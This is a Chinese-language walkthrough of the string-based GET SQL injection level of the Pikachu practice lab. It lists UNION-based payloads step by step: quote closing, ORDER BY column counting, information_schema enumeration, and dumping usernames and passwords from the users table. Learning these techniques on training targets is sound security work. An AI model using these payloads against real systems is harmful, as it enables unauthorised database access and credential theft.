Pikachu靶场-SQL注入-字符型注入(get)过关步骤
这关的名字就可以看出,这关参数是字符串,提交方式是get提交,也就是说直接在浏览器地址栏里输入注入语句即可
判断是否存在注入点
这里输入要查询的用户名称,不知道用户名称都有什么,可以在数字型注入中查询一个,URL地址栏里的传参就两个 name= 和 submit ,submit 应该是提交自带的不用管它,但注入时不要删除掉,那么name这个参数就是注入点了
这关的闭合是点引号,然后 and -1=-1 和 and -1=-12
判断注入点具体操作看动图:
判断有多少个字段数
使用 order by 判断字段数,这关的字段数是 2具体操作看动图:
展示显错位
知道了字段数,那么接下来就用union select 11,22 -- bbq
展示显错位了具体看动图:
查询当前数据库
version()查看数据库版本 ,database()查看当前数据库
union select version() ,database() -- bbq
操作看动图:
查询出数据库中的所有表
使用 union select table_name,22 from information_schema.tables where table_schema=database() -- bbq
得到当前数据库所有表名,具体看动图:
查询指定的表中的列名
查询出表名下一步就是,查询字段也就是列名称使用 union select column_name,22 from information_schema.columns where table_schema='pikachu' and table_name='users' -- bbq
语句查询,具体看动图:
查询数据
当经过以上步骤,已经知道了数据库名、表名、字段名,那么就可以查询我们需要的数据了
union select username,password from users -- bbq
具体看动图: